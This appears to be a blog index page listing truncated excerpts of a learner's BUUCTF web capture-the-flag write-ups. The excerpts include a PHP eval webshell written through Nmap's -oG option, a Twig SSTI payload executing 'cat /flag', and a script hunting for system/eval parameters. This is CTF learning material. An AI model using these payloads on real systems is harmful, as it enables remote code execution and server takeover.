BUUCTF-Web-[强网杯 2019]高明的黑客
本文为记录个人信安小白的刷题路程,大佬勿喷,也同时希望文章能对您有所帮助 打开靶机,发现已经把源码给我们了,直接通过URL下载,打开文件发现有很多php文件,不知道哪个是我们要找的,其他地方也没有提示,随便打开几个文件,发现有很多GET,POST传参,而且有些传参参与system,eval等命令函数,一个一个试太麻烦,我们需要编写代码帮我们筛选, 12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152import requestsimport osimport re# 配置目标URL和源码路径(直接在这里修改)url = 'http://36d3d08f-a863-4ceb-a6cf-a1a5cbffbf98.node5.buuoj.cn:81/' # 修改为你的目标URLpath = 'D:\下载\www\src' # 修改为你的源码路径ptn_get = re.compile(br"\$_...
BUUCTF-Web-[网鼎杯 2020 朱雀组]Nmap
本文为记录个人信安小白的刷题路程,大佬勿喷,也同时希望文章能对您有所帮助 打开靶机,看到一个扫描IP的执行框,查看源码可以得到flag文件位置,输入个IP试试,回显结果很像Nmap扫描结果,结和题目可以确定这道题考查Nmap扫描命令,然后他会把扫描结果放进一个文件里。尝试直接拼接命令, 1127.0.0.1 ;ls 多了个转义符号,测试一下单引号', 1127.0.0.1 'ls 根据上面的回显可以推测后端有escapeshellarg()和escapeshellcmd()对传入的参数的过滤,这道题的源码逻辑和[BUUCTF 2018]Online Tool很相似,都是这两个函数一起使用产生的漏洞点,构造语句写入一句话木马,payload: 1'<?php @eval($_POST["hack"]);?> -oG hack.php ' //末尾的空格不能忽略,不然文件名会变为hack.php' 会多个引号 有过滤,检测发现是php被过滤, 1'<?= @eval($_POST[&quo...
BUUCTF-Web-[安洵杯 2019]easy_serialize_php1
本文为记录个人信安小白的刷题路程,大佬勿喷,也同时希望文章能对您有所帮助 打开靶机,点击超链接可以看到源码,代码审计, 12345678910111213141516171819202122232425262728293031323334353637383940 <?php$function = @$_GET['f'];// 从URL参数获取f的值function filter($img){// 过滤掉黑名单中的字符串 $filter_arr = array('php','flag','php5','php4','fl1g'); $filter = '/'.implode('|',$filter_arr).'/i'; return preg_replace($filter,'',$img);}if($_SESSION){ u...
BUUCTF-Web-[WesternCTF2018]shrine1
本文为记录个人信安小白的刷题路程,大佬勿喷,也同时希望文章能对您有所帮助 打开靶机,直接看到源码,但是右键查看源码会更好一点, 1234567891011121314151617181920212223242526import flask # 导入Flask框架,用来创建网站import os # 导入操作系统模块,用来处理文件和环境变量app = flask.Flask(__name__) # 创建一个Flask网站应用app.config['FLAG'] = os.environ.pop('FLAG')#从环境变量中取出名为'FLAG'的值,把取出的值存到网站的配置中@app.route('/') # 当有人访问网站根目录时def index(): return open(__file__).read()# 打开当前文件并返回内容@app.route('/shrine/<path:shrine>')# 当访问/shrine/任意内容时def sh...
BUUCTF-Web-[安洵杯 2019]easy_web
本文为记录个人信安小白的刷题路程,大佬勿喷,也同时希望文章能对您有所帮助 打开靶机,注意到URL有两个GET传参img和cmd,我们先对img参数进行解码,TXpVek5UTTFNbVUzTURabE5qYz0base64解码MzUzNTM1MmU3MDZlNjc=,MzUzNTM1MmU3MDZlNjc=base64解码3535352e706e67,3535352e706e6716进制解码555.png,竟然是png文件,那通过img参数可不可以读取其他文件呢,index.php16进制编码696e6465782e706870,696e6465782e706870base64编码Njk2ZTY0NjU3ODJlNzA2ODcw,Njk2ZTY0NjU3ODJlNzA2ODcwbase64编码TmprMlpUWTBOalUzT0RKbE56QTJPRGN3,传入?img=TmprMlpUWTBOalUzT0RKbE56QTJPRGN3,将img表情里面base64后面的字段进行base64解码,获得源码,进行代码审计, 123456789101112131415161718192...
BUUCTF-Web-[MRCTF2020]PYWebsite1
本文为记录个人信安小白的刷题路程,大佬勿喷,也同时希望文章能对您有所帮助 打开靶机,是一个介绍购买的界面,看看源码, 12345678910111213141516171819202122232425function enc(code){ hash = hex_md5(code); // 调用之前定义的 hex_md5 函数计算 code 的 MD5 值 return hash; // 返回计算出的 MD5 哈希值(32位十六进制字符串)} function validate(){ // 获取页面上 ID 为 "vcode" 的输入框的值 var code = document.getElementById("vcode").value; // 检查输入是否为空 if (code != ""){ // 核心验证逻辑:计算输入值的MD5,并与硬编码的正确MD5进行比较 if(hex_md5(code) == &qu...
BUUCTF-Web-[MRCTF2020]Ezpop
打开靶机,直接给我们源码,代码审计, 12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849<?phpclass Modifier { protected $var; public function append($value){ include($value); // 危险操作:任意文件包含 } public function __invoke(){ //__invoke():当对象被当作函数调用时自动触发 $this->append($this->var); // 触发文件包含 }}class Show{ public $source; public $str; public function __construct($file='index.php')...
BUUCTF-Web-[BJDCTF2020]Cookie is so stable
本文为记录个人信安小白的刷题路程,大佬勿喷,也同时希望文章能对您有所帮助 打开靶机,注意到有三个页面BJDCTF,Flag(注入界面),Hint(提示界面),来到Flag界面,看到一个提交窗口,不是sql注入,看看Hint界面有什么提示,查看源码,提示和题目都有提到cookie,返回Flag,Cookie中有一个参数user,会不会是SSTI注入,确认为Twig的模板的SSTI,直接使用Twig模块注入的payload: 1{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}} 将Payload分成两部分来理解:{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag"...
BUUCTF-Web-[WUSTCTF2020]朴实无华
本文为记录个人信安小白的刷题路程,大佬勿喷,也同时希望文章能对您有所帮助 打开靶机,发现一个warning,提到了header,用Burp抓包看看请求头,没有发现什么有用的信息,用dirsearch扫描网站,访问robots.txt,访问fAke_flagggg.php,到这又卡住了,想起来header,这次有信息了,访问fl4g.php,看到源码了,但是有一些乱码,按住Alt键,网页上方会出现查看的选项,然后选择修复编码文字,进行代码审计, 123456789101112131415161718192021222324252627282930313233343536373839404142<?phpheader('Content-type:text/html;charset=utf-8');error_reporting(0);highlight_file(__file__);//level 1if (isset($_GET['num'])){ $num = $_GET['num']; if...
BUUCTF-Web-[BJDCTF2020]Mark loves cat
本文为记录个人信安小白的刷题路程,大佬勿喷,也同时希望文章能对您有所帮助 打开靶机,查看源码没有发现有用的信息,划到页面最下方,有个发送信件的模块,随便写发送过去,发现url用GET传参,测试过了不是SQL注入,那就dirsearch扫描网站,发现是.git/泄露,使用Githack获取源码,进行代码审计, 123456789101112131415161718192021222324252627282930313233<?phpinclude 'flag.php';//文件中定义了$flag变量//$flag = file_get_contents('/flag');$yds = "dog";$is = "cat";$handsome = 'yds';foreach($_POST as $x => $y){ $$x = $y;}foreach($_GET as $x => $y){ $$x = $$y;}for...
